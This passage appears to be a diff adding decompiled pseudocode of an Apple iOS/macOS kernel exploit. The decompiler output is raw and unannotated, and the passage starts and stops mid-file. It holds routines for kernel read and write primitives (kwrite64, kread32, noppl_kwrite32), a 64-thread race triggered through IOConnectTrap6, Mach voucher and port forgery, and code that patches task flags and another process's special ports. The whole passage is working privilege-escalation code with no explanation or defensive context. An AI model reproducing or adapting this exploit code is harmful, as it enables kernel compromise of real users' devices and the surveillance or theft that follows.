*))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + while ( 1 ) + { + v6 = (*(__int64 (__fastcall **)(_QWORD, __int64))(*(_QWORD *)a1[1] + 48LL))(a1[1], 48LL); + if ( (unsigned __int8)v6 != 6LL ) + break; + sub_1B280(a1); + } + if ( v6 ) + return 5LL; + v45 = sub_10660(*a1, v5); + v7 = *(_QWORD *)(*a1 + 32LL); + v8 = sub_10660(*a1, *(_QWORD *)(*a1 + 16LL) + 40LL); + v9 = sub_29D2C(v7, v8); + v10 = *(_QWORD *)(*a1 + 32LL); + v11 = sub_10660(*a1, v9 + 64); + v12 = sub_29D2C(v10, v11); + v57 = xmmword_432E0; + v13 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + kwrite64_via_kwritebuf(*a1, v13, 0LL, 1LL); + v58[0] = v13; + (*(void (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_480B0, 1LL, v58); + while ( 1 ) + { + v14 = (*(__int64 (__fastcall **)(_QWORD, __int64))(*(_QWORD *)a1[1] + 48LL))(a1[1], 10LL); + if ( (unsigned __int8)v14 != 6LL ) + break; + sub_1B280(a1); + } + if ( v14 ) + return 5LL; + MEMORY[0x400004008] = 0x41414141LL; + v16 = sub_10660(*a1, v12); + v58[0] = sub_10660(*a1, v16) & 0xFFFFFFFFC000LL; + v17 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480B8, + 1LL, + v58); + v18 = sub_10660(*a1, v17 + 4096) & 0xFFFFFFFFC000LL; + v58[0] = v18; + v42 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480B8, + 1LL, + v58); + v44 = sub_10660(*a1, v42 + 8) & 0xFFFF000000003FFFLL | v18; + v57 = xmmword_432E0; + v43 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + v19 = *a1; + v20 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48098, 20592LL); + kwrite64_via_kwritebuf(v19, v43 + 64, v20, 1LL); + v57 = xmmword_432E0; + v46 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + v21 = 0LL; + do + { + v22 = qword_43378[v21]; + v23 = dword_43390[v21]; + *(_QWORD *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + *((_QWORD *)&v57 + 1) = v23; + v24 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + if ( v24 ) + v25 = 1; + else + v25 = v21 == 2; + ++v21; + } + while ( !v25 ); + v26 = v24; + v27 = sub_10660(*a1, qword_480C8); + v39 = sub_10660(*a1, qword_480D0); + v58[0] = v26; + v28 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480B0, + 1LL, + v58); + v50 = 1LL; + v29 = v44; + if ( v2 > 0x918C5A833FFLL ) + v29 = v42; + v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL; + v38 = v29; + v41 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48080, 28765LL); + v40 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(*(_QWORD *)a1[1] + 16LL))(a1[1], qword_48088, 28765LL); + v30 = 0LL; + *((_DWORD *)a1 + 5) = mach_thread_self(); + do + { + v49[0] = _NSConcreteStackBlock; + v49[1] = 3221225472LL; + v49[2] = sub_1BC60; + v49[3] = &unk_44918; + v49[4] = a1; + pthread_create((pthread_t *)&v58[v30++], 0LL, (void *(__cdecl *)(void *))sub_1BC54, v49); + } + while ( v30 != 64 ); + v47[0] = _NSConcreteStackBlock; + v47[1] = 3221225472LL; + v47[2] = sub_1BC68; + v47[3] = &unk_44938; + v47[4] = a1; + v47[5] = &v50; + v31 = v44; + if ( v2 <= 0x918C5A833FFLL ) + v31 = v42; + v47[6] = v45 + 8; + v47[7] = v38; + v47[8] = v31; + v47[9] = 0LL; + v47[10] = v26; + v47[11] = v22; + pthread_create(&v48, 0LL, (void *(__cdecl *)(void *))sub_1BC54, v47); + while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) + { + v32 = mach_thread_self(); + thread_switch(v32, 0, 0); + } + v50 = 0LL; + while ( (kread32(*a1, v37 + v39) & 0x8000) == 0 ) + ; + v33 = *((_QWORD *)&v53 + 1); + **((_QWORD **)&v53 + 1) = v45; + *(_QWORD *)(v33 + 8) = v40; + IOConnectTrap6(connect[0], 0, 0xBEE2uLL, 0LL, 0LL, 0LL, 0LL, 0LL); + v34 = 8; + do + { + v35 = *((_QWORD *)&v53 + 1); + **((_QWORD **)&v53 + 1) = qword_480C0; + *(_QWORD *)(v35 + 8) = v41; + IOConnectTrap6(connect[0], 0, v43, v4, 0x20uLL, v46, 0LL, 0LL); + --v34; + } + while ( v34 ); + while ( v50 != 2 ) + ; + *(_QWORD *)&v57 = v26; + *((_QWORD *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_480A8, 2LL, &v57); + __dsb(0xFu); + (*(void (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(*(_QWORD *)a1[1] + 8LL))(a1[1], qword_48090, 0LL, 0LL); + v36 = 0LL; + *((_DWORD *)a1 + 5) = 0; + do + pthread_join((pthread_t)v58[v36++], 0LL); + while ( v36 != 64 ); + pthread_join(v48, 0LL); + sub_1B158(a1, connect); + return 0LL; +} +// 20: using guessed type segment_command_64 stru_20; +// 10660: using guessed type __int64 __fastcall sub_10660(_QWORD, _QWORD); +// 10698: using guessed type __int64 __fastcall kwrite64_via_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD); +// 106D4: using guessed type __int64 __fastcall kread32(_QWORD, _QWORD); +// 1AADC: using guessed type __int64 __fastcall sub_1AADC(_QWORD, _QWORD); +// 1B158: using guessed type __int64 __fastcall sub_1B158(_QWORD, _QWORD); +// 1B280: using guessed type __int64 __fastcall sub_1B280(_QWORD); +// 1BC54: using guessed type __int64 __fastcall sub_1BC54(); +// 1BC60: using guessed type __int64 __fastcall sub_1BC60(); +// 1BC68: using guessed type __int64 __fastcall sub_1BC68(); +// 29D2C: using guessed type __int64 __fastcall sub_29D2C(_QWORD, _QWORD); +// 432E0: using guessed type __int128 xmmword_432E0; +// 43300: using guessed type __int128 xmmword_43300; +// 43378: using guessed type _QWORD qword_43378[3]; +// 43390: using guessed type unsigned int dword_43390[3]; +// 48080: using guessed type __int64 qword_48080; +// 48088: using guessed type __int64 qword_48088; +// 48090: using guessed type __int64 qword_48090; +// 48098: using guessed type __int64 qword_48098; +// 480A0: using guessed type __int64 qword_480A0; +// 480A8: using guessed type __int64 qword_480A8; +// 480B0: using guessed type __int64 qword_480B0; +// 480B8: using guessed type __int64 qword_480B8; +// 480C0: using guessed type __int64 qword_480C0; +// 480C8: using guessed type __int64 qword_480C8; +// 480D0: using guessed type __int64 qword_480D0; +// 480D8: using guessed type __int64 qword_480D8; +// 480E0: using guessed type _BYTE algn_480E0[32]; + +//----- (000000000001BC54) ---------------------------------------------------- +__int64 __fastcall sub_1BC54(__int64 a1) +{ + return (*(__int64 (**)(void))(a1 + 0x10))(); +} + +//----- (000000000001BC60) ---------------------------------------------------- +__int64 __fastcall sub_1BC60(__int64 a1) +{ + return sub_1AA90(*(_QWORD *)(a1 + 0x20)); +} + +//----- (000000000001BC68) ---------------------------------------------------- +__int64 __fastcall sub_1BC68(__int64 a1) +{ + return sub_1B360(*(_QWORD *)(a1 + 0x20), (_QWORD **)(a1 + 0x28)); +} + +//----- (000000000001BC78) ---------------------------------------------------- +__int64 __fastcall sub_1BC78(task_name_t a1) +{ + _QWORD *v3; // x20 + vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF + __int64 v5; // [xsp+10h] [xbp-20h] BYREF + __int64 v6; // [xsp+18h] [xbp-18h] BYREF + + if ( (unsigned int)sub_1BD24(a1, &v6) ) + return 0LL; + v3 = (_QWORD *)(v6 + 0x28); + if ( mach_task_self_ == a1 ) + { + *v3 |= 1uLL; + } + else + { + if ( vm_read_overwrite(a1, v6 + 0x28, 8uLL, (vm_address_t)&v5, &outsize) ) + return 0LL; + v5 |= 1uLL; + if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) ) + return 0LL; + } + return 1LL; +} + +//----- (000000000001BD24) ---------------------------------------------------- +__int64 __fastcall sub_1BD24(task_name_t a1, _QWORD *a2) +{ + __int64 result; // x0 + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF + integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF + + task_info_outCnt = 5; + result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt); + if ( !(_DWORD)result ) + { + if ( *(_QWORD *)task_info_out ) + { + result = 0LL; + *a2 = *(_QWORD *)task_info_out; + } + else + { + return 5LL; + } + } + return result; +} + +//----- (000000000001BD80) ---------------------------------------------------- +__int64 __fastcall sub_1BD80(__int64 a1, unsigned int a2) +{ + unsigned int v2; // w0 + unsigned int v3; // w19 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + v2 = sub_1BDEC(a2); + if ( (v2 & 0x80000000) != 0 ) + return 0LL; + v3 = v2; + if ( (unsigned int)sub_1BD24(mach_task_self_, &v5) ) + return 0LL; + if ( v3 <= 7 ) + return v5 + 4LL * (v3 + 6) + 0xE8; + return 0LL; +} + +//----- (000000000001BDEC) ---------------------------------------------------- +__int64 __fastcall sub_1BDEC(unsigned int a1) +{ + if ( a1 > 0x19 ) + return 0xFFFFFFFFLL; + else + return dword_4339C[a1]; +} +// 4339C: using guessed type unsigned int dword_4339C[27]; + +//----- (000000000001BE0C) ---------------------------------------------------- +__int64 __fastcall sub_1BE0C(__int64 a1, unsigned int a2, mach_port_name_t *a3) +{ + mach_port_name_t *v6; // x0 + mach_port_name_t *v7; // x20 + mach_port_name_t v8; // w1 + kern_return_t v9; // w0 + __int64 result; // x0 + unsigned int v11; // w1 + unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + { + if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) ) + { +LABEL_7: + result = 0LL; + *a3 = name; + return result; + } + return 0x1001LL; + } + v6 = (mach_port_name_t *)sub_1BD80(a1, a2); + if ( v6 ) + { + v7 = v6; + v8 = *v6; + name = v8; + if ( v8 + 1 > 1 ) + goto LABEL_4; + v12 = 0LL; + if ( a2 - 0x13 >= 2 ) + { + if ( a2 != 0x10 ) + return 0x1001LL; + v11 = 0xB; + } + else + { + v11 = 0xC; + } + if ( (unsigned int)sub_36160(a1, v11, (__int64 *)&v12) && v12 ) + { + result = sub_36480(a1, v12, &name); + if ( (_DWORD)result ) + return result; + if ( name + 1 >= 2 ) + { + v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF); + if ( v9 ) + return v9 | 0x80000000; + *v7 = name; + v8 = name; +LABEL_4: + v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1); + if ( v9 ) + return v9 | 0x80000000; + goto LABEL_7; + } + } + } + return 0x1001LL; +} + +//----- (000000000001BF68) ---------------------------------------------------- +__int64 __fastcall sub_1BF68(__int64 a1, unsigned int a2, vm_size_t a3, vm_address_t *a4) +{ + __int64 v6; // x21 + kern_return_t v7; // w0 + mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF + + object = 0; + v6 = sub_1BE0C(a1, a2, &object); + if ( !(_DWORD)v6 ) + { + if ( !a4 ) + { + v6 = 0LL; + goto LABEL_11; + } + v7 = vm_map(mach_task_self_, a4, a3, 0LL, 1, object, 0LL, 0, 3, 3, 2u); + if ( v7 ) + v6 = v7 | 0x80000000; + else + v6 = 0LL; + if ( !(_DWORD)v6 ) + goto LABEL_11; + } + if ( a4 && *a4 ) + { + vm_deallocate(mach_task_self_, *a4, a3); + *a4 = 0LL; + } +LABEL_11: + if ( object + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object); + return v6; +} + +//----- (000000000001C058) ---------------------------------------------------- +__int64 __fastcall sub_1C058(__int64 a1) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0LL; + v2 = vm_page_size; + if ( *(_QWORD *)(a1 + 0x118) && *(_QWORD *)(a1 + 0x120) ) + return 0LL; + result = sub_1BF68(a1, 0x10u, vm_page_size, &v4); + if ( !(_DWORD)result ) + { + *(_QWORD *)(a1 + 0x118) = v4; + *(_QWORD *)(a1 + 0x120) = v2; + } + return result; +} + +//----- (000000000001C0C8) ---------------------------------------------------- +__int64 __fastcall sub_1C0C8(__int64 a1, int *a2) +{ + unsigned __int64 v4; // x8 + __int64 v5; // x24 + __int64 v6; // x21 + ipc_voucher_t *v7; // x22 + unsigned __int64 *v8; // x25 + __int64 v9; // x27 + int *v10; // x20 + int v11; // w8 + int v13; // w0 + unsigned __int64 v14; // x8 + __darwin_time_t tv_sec; // x22 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x22 + unsigned __int64 v18; // x8 + __int64 v19; // x22 + stat v20; // [xsp+0h] [xbp-110h] BYREF + int v21; // [xsp+94h] [xbp-7Ch] BYREF + unsigned __int64 v22; // [xsp+98h] [xbp-78h] BYREF + unsigned __int64 v23; // [xsp+A0h] [xbp-70h] + _QWORD v24[2]; // [xsp+A8h] [xbp-68h] BYREF + + v24[0] = 0LL; + v24[1] = 0LL; + v22 = 0xFFFFFFFFFFFFFFFFLL; + v23 = 0xFFFFFFFFFFFFFFFFLL; + v21 = 0xFFFFFFFF; + v4 = *(_QWORD *)(a1 + 0x158); + if ( v4 > 0x1C1B0A800FFFFFLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + v5 = 3LL; + } + else if ( v4 > 0x1F52FFFFFFFFFFLL ) + { + v5 = 3LL; + } + else + { + v5 = 4LL; + } + if ( (unsigned int)fd_open_dev_null(&v21) ) + { +LABEL_14: + v10 = (int *)&v22; + do + { + if ( *v10 != 0xFFFFFFFF ) + close(*v10); + ++v10; + --v5; + } + while ( v5 ); + v11 = 0; + } + else + { + v6 = 0x1122334455667788LL; + v7 = (ipc_voucher_t *)v24; + v8 = &v22; + v9 = v5; + do + { + if ( !voucher_create_mach_voucher(a1, v6, v7) ) + goto LABEL_13; + *(_DWORD *)v8 = j__fileport_makefd(); + mach_port_deallocate(mach_task_self_, *v7); + *v7 = 0; + if ( (*(_DWORD *)v8 & 0x80000000) != 0 ) + goto LABEL_13; + ++v6; + ++v7; + v8 = (unsigned __int64 *)((char *)v8 + 4); + --v9; + } + while ( v9 ); + if ( (unsigned int)setup_two_fds((unsigned int *)&v22) ) + { +LABEL_13: + fd_close(v21); + goto LABEL_14; + } + v13 = HIDWORD(v22); + *(_DWORD *)(a1 + 0x1930) = v22; + *(_DWORD *)(a1 + 0x1934) = v13; + v14 = *(_QWORD *)(a1 + 0x158); + if ( v14 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v14 > 0x1F52FFFFFFFFFFLL) ) + *(_DWORD *)(a1 + 0x1940) = v23; + else + *(_QWORD *)(a1 + 0x1938) = v23; + if ( !fstat(v13, &v20) ) + { + tv_sec = v20.st_atimespec.tv_sec; + if ( validate_addr(a1, v20.st_atimespec.tv_sec) ) + *(_QWORD *)(a1 + 0x19D0) = tv_sec; + v16 = *(_QWORD *)(a1 + 0x158); + if ( v16 > 0x1C1B0A800FFFFFLL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v16 > 0x1F52FFFFFFFFFFLL) ) + { + v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL; + if ( validate_addr(a1, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) ) + *(_QWORD *)(a1 + 0x218) = v17; + v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 0x28) * *(unsigned int *)(a1 + 0x180); + if ( v18 && (*(_QWORD *)(a1 + 0x188) & v18) == 0 ) + *(_QWORD *)(a1 + 0x19E0) = v18; + if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF + && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF + && *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF ) + { + if ( *(_QWORD *)(a1 + 0x218) ) + { + if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL && !(unsigned int)sub_1C058(a1) ) + { + v19 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x100LL); + if ( validate_addr(a1, v19) ) + *(_QWORD *)(a1 + 0x220) = v19; + } + } + } + } + else if ( v20.st_atimespec.tv_nsec && (*(_QWORD *)(a1 + 0x188) & v20.st_atimespec.tv_nsec) == 0 ) + { + *(_QWORD *)(a1 + 0x19E0) = v20.st_atimespec.tv_nsec; + } + } + fd_read_test((int *)(a1 + 0x1930)); + fd_close(v21); + v11 = 1; + } + *a2 = v11; + return 1LL; +} + +//----- (000000000001C3EC) ---------------------------------------------------- +__int64 __fastcall sub_1C3EC(__int64 a1, int *a2) +{ + vm_size_t v4; // x20 + int v5; // w8 + __int64 result; // x0 + unsigned __int64 v7; // x24 + ipc_voucher_t *v8; // x22 + mach_port_name_t *v9; // x0 + mach_port_name_t v10; // w1 + __int64 i; // x21 + mach_port_name_t v12; // w1 + int v13; // w21 + bool v14; // zf + __int64 v15; // x22 + __int64 v16; // x22 + __int64 v17; // x22 + int v18; // w24 + unsigned __int64 v19; // x0 + mach_port_t v20; // w9 + vm_size_t v21; // x8 + bool v22; // cf + int v23; // [xsp+14h] [xbp-7Ch] BYREF + vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF + vm_address_t address; // [xsp+20h] [xbp-70h] BYREF + __int128 v26; // [xsp+28h] [xbp-68h] + mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF + mem_entry_name_port_t object; // [xsp+40h] [xbp-50h] + + object = 0; + *(_QWORD *)connection = 0LL; + address = 0LL; + v4 = vm_page_size; + v24 = 0LL; + v23 = 0xFFFFFFFF; + v5 = fd_open_dev_null(&v23); + result = 0LL; + if ( !v5 ) + { + v7 = 0xFFFFFFFFFFFFFFFDLL; + v8 = connection; + do + { + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + { + result = voucher_create_mach_voucher(a1, v7 + 0x312233445566778BLL, v8); + if ( !(_DWORD)result ) + break; + if ( *v8 + 1 < 2 ) + goto LABEL_16; + } + else + { + v9 = (mach_port_name_t *)sub_1BD80(result, (int)v7 + 3); + if ( !v9 ) + goto LABEL_16; + v10 = *v9; + *v8 = *v9; + if ( v10 + 1 < 2 ) + goto LABEL_16; + result = mach_port_mod_refs(mach_task_self_, v10, 0, 1); + if ( (_DWORD)result ) + goto LABEL_16; + } + ++v8; + v22 = __CFADD__(v7++, 1LL); + } + while ( !v22 ); + if ( (*(int *)(a1 + 0x140) > 0x2257 + || IOConnectCallMethod(connection[1], 0x3E7u, 0LL, 0, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL) == 0xE00002C7) + && !vm_map(mach_task_self_, &address, v4, 0LL, 1, connection[0], 0LL, 0, 3, 3, 2u) + && !vm_map(mach_task_self_, &v24, v4, 0LL, 1, object, 0LL, 0, 3, 3, 2u) ) + { + v15 = *(_QWORD *)v24; + if ( validate_addr(a1, *(_QWORD *)v24) ) + { + *(_QWORD *)(a1 + 0x19D0) = v15; + v16 = *(_QWORD *)(v24 + 8); + if ( validate_addr(a1, v16) ) + { + *(_QWORD *)(a1 + 0xF0) = v16; + v17 = *(unsigned int *)(v24 + 0x10); + v18 = *(_DWORD *)(v24 + 0x14); + v19 = sub_29D2C((_DWORD *)a1, *(_QWORD *)(address + v17)); + if ( validate_addr(a1, v19) ) + { + v20 = connection[0]; + *(_DWORD *)(a1 + 0xE8) = connection[1]; + *(_QWORD *)(a1 + 0xF8) = address; + *(_QWORD *)(a1 + 0x100) = v4; + *(_DWORD *)(a1 + 0x114) = v20; + *(_DWORD *)(a1 + 0x110) = v18; + *(_QWORD *)(a1 + 0x108) = v17; + fd_close(v23); + v13 = 1; + goto LABEL_24; + } + v26 = 0uLL; + if ( v4 ) + { + v21 = 0LL; + do + { + v14 = v26 == *(_OWORD *)(address + v21); + v21 = (unsigned int)(v21 + 0x10); + v22 = !v14 || v21 >= v4; + } + while ( !v22 ); + } + } + } + } +LABEL_16: + fd_close(v23); + if ( address && v4 ) + vm_deallocate(mach_task_self_, address, v4); + for ( i = 0LL; i != 3; ++i ) + { + v12 = connection[i]; + if ( v12 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v12); + } + v13 = 0; +LABEL_24: + if ( v24 ) + v14 = v4 == 0; + else + v14 = 1; + if ( !v14 ) + vm_deallocate(mach_task_self_, v24, v4); + *a2 = v13; + return 1LL; + } + return result; +} + +//----- (000000000001C720) ---------------------------------------------------- +__int64 __fastcall sub_1C720(_DWORD *a1, unsigned int *a2, unsigned int a3) +{ + __int64 result; // x0 + int v7; // w8 + __int64 v8; // x22 + unsigned __int64 v10; // x23 + __int64 v11; // x24 + unsigned __int64 v12; // x22 + _BOOL4 v13; // w8 + __int64 v14; // x20 + int v15; // [xsp+0h] [xbp-40h] BYREF + _BYTE v16[4]; // [xsp+4h] [xbp-3Ch] BYREF + __int64 v17; // [xsp+8h] [xbp-38h] BYREF + + result = 0LL; + v7 = a1[0x50]; + v8 = 0x38LL; + if ( v7 <= 0x1F52 ) + { + if ( v7 != 0x1809 && v7 != 0x1C1B ) + return result; + } + else if ( (unsigned int)(v7 - 0x1F53) >= 2 ) + { + if ( v7 != 0x2258 ) + return result; + v8 = 0x30LL; + } + result = sub_32D6C((__int64)a1, *a2); + if ( result ) + { + v10 = result; + result = kread32_outptr((__int64)a1, result, &v15); + if ( (_DWORD)result ) + { + if ( (v15 & 0x3FF) != 0x25 ) + return 0LL; + result = sub_328A4((__int64)a1, v10); + if ( result ) + { + v11 = result; + v12 = result + v8; + v13 = kread64(a1, v12, &v17); + result = 0LL; + if ( v13 && v10 == v17 ) + { + result = kread32_outptr((__int64)a1, v11 + 8, v16); + if ( (_DWORD)result ) + { + result = noppl_kwrite32((__int64)a1, v11 + 8, 0xFFFF); + if ( (_DWORD)result ) + { + if ( mach_port_deallocate(mach_task_self_, *a2) ) + return 0LL; + *a2 = 0; + result = sub_32D6C((__int64)a1, a3); + if ( result ) + { + v14 = result; + result = kwrite64((__int64)a1, v12, result); + if ( (_DWORD)result ) + { + sub_35E8C((__int64)a1, v14); + return 1LL; + } + } + } + } + } + } + } + } + return result; +} + +//----- (000000000001C8B0) ---------------------------------------------------- +__int64 __fastcall sub_1C8B0(__int64 a1, unsigned int a2, unsigned int a3) +{ + __int64 v6; // x0 + _DWORD *v7; // x21 + __int64 v8; // x0 + __int64 v9; // x23 + __int64 v10; // x22 + unsigned int v11; // w22 + kern_return_t v12; // w0 + __int64 v14; // [xsp+0h] [xbp-40h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF + + name = 0; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + { + if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) + && (unsigned int)sub_1C720((_DWORD *)a1, &name, a3) ) + { + goto LABEL_9; + } + } + else + { + v14 = 0LL; + v6 = sub_1BD80(a1, a2); + if ( v6 ) + { + v7 = (_DWORD *)v6; + v8 = sub_32D6C(a1, a3); + if ( !v8 ) + { + v10 = 0x2800ELL; + goto LABEL_19; + } + v9 = v8; + v10 = sub_35E8C(a1, v8); + if ( (_DWORD)v10 ) + goto LABEL_19; + if ( a2 - 0x13 >= 2 ) + { + if ( a2 != 0x10 ) + { +LABEL_16: + v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF); + if ( v12 ) + { + v10 = v12 | 0x80000000; + goto LABEL_19; + } + *v7 = a3; +LABEL_9: + v10 = 0LL; + goto LABEL_19; + } + v11 = 0xB; + } + else + { + v11 = 0xC; + } + if ( (unsigned int)sub_36160(a1, v11, &v14) && (v14 || (unsigned int)sub_361DC(a1, v11, v9)) ) + goto LABEL_16; + } + } + v10 = 0x1001LL; +LABEL_19: + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + return v10; +} + +//----- (000000000001CA3C) ---------------------------------------------------- +__int64 __fastcall sub_1CA3C(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5) +{ + __int64 v5; // x21 + __int64 v6; // x22 + __int64 v10; // x25 + __int64 v11; // x26 + __int64 v12; // x24 + unsigned int v13; // w1 + int inserted; // w0 + __int64 v15; // x23 + __int64 v16; // x25 + char *v17; // x22 + unsigned int v18; // w0 + unsigned int v19; // w0 + kern_return_t v20; // w0 + mach_port_t *v22; // x23 + _DWORD *v23; // x26 + mach_port_t v24; // w22 + _QWORD *v25; // x23 + unsigned int v26; // w0 + unsigned int v27; // w0 + char v29; // [xsp+14h] [xbp-8Ch] + mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF + __int64 v31; // [xsp+20h] [xbp-80h] BYREF + _QWORD v32[2]; // [xsp+28h] [xbp-78h] BYREF + _QWORD v33[2]; // [xsp+38h] [xbp-68h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + return 0LL; + LODWORD(v5) = a3; + if ( a3 - 1 > 3 ) + return 0xAD001LL; + v10 = 0LL; + v11 = 0x28011LL; + v33[0] = 0LL; + v33[1] = 0LL; + v12 = a3; + v6 = 0x28008LL; + do + { + if ( a4 ) + v13 = *(_DWORD *)(a4 + 4 * v10); + else + v13 = v10; + a1 = sub_1BD80(a1, v13); + if ( !a1 ) + return 0x1001LL; + if ( (unsigned int)(*(_DWORD *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 ) + return v6; + *((_DWORD *)v33 + v10++) = *(_DWORD *)a1; + } + while ( (unsigned int)v5 != v10 ); + inserted = sub_1BD24(a2, &v31); + if ( inserted ) + return inserted | 0x80000000; + v15 = 0LL; + v29 = 0; + v32[0] = 0LL; + v32[1] = 0LL; + v16 = v31 + 0xE8; +LABEL_16: + v17 = (char *)v32 + 4 * v15; + do + { + if ( a4 ) + v18 = *(_DWORD *)(a4 + 4 * v15); + else + v18 = v15; + v19 = sub_1BDEC(v18); + if ( v19 > 7 ) + return v11; + v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4uLL, (mach_vm_address_t)v17, &outsize); + if ( v20 ) + return v20 | 0x80000000; + if ( (unsigned int)(*((_DWORD *)v32 + v15) + 1) <= 1 && (unsigned int)(*((_DWORD *)v33 + v15) + 1) >= 2 ) + { + v29 = 1; + if ( (unsigned int)v5 - 1LL != v15++ ) + goto LABEL_16; + goto LABEL_32; + } + ++v15; + v17 += 4; + } + while ( (unsigned int)v5 != v15 ); + if ( (v29 & 1) == 0 ) + return 0LL; +LABEL_32: + v22 = (mach_port_t *)v33; + v23 = v32; + do + { + LODWORD(outsize) = 0; + v24 = *v22; + if ( *v22 + 1 >= 2 ) + { + inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 1u, 0xFFFFFFFF); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_insert_right(a2, outsize, v24, 0x13u); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF); + if ( inserted ) + return inserted | 0x80000000; + *v23 = outsize; + } + ++v22; + ++v23; + --v12; + } + while ( v12 ); + v25 = v32; + if ( (unsigned int)v5 <= 1 ) + v5 = 1LL; + else + v5 = (unsigned int)v5; + while ( 1 ) + { + v26 = a4 ? *(_DWORD *)(a4 + 4 * v12) : v12; + v27 = sub_1BDEC(v26); + if ( v27 > 7 ) + break; + inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u); + if ( inserted ) + return inserted | 0x80000000; + v6 = 0LL; + ++v12; + v25 = (_QWORD *)((char *)v25 + 4); + if ( v5 == v12 ) + return v6; + } + return 0x28011LL; +} + +//----- (000000000001CD34) ---------------------------------------------------- +__int64 __fastcall sub_1CD34(__int64 a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5) +{ + _BOOL4 v10; // w25 + vm_offset_t v11; // x2 + kern_return_t memory_entry; // w0 + __int64 v13; // x22 + kern_return_t v14; // w0 + bool v15; // zf + vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF + mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF + vm_address_t address; // [xsp+28h] 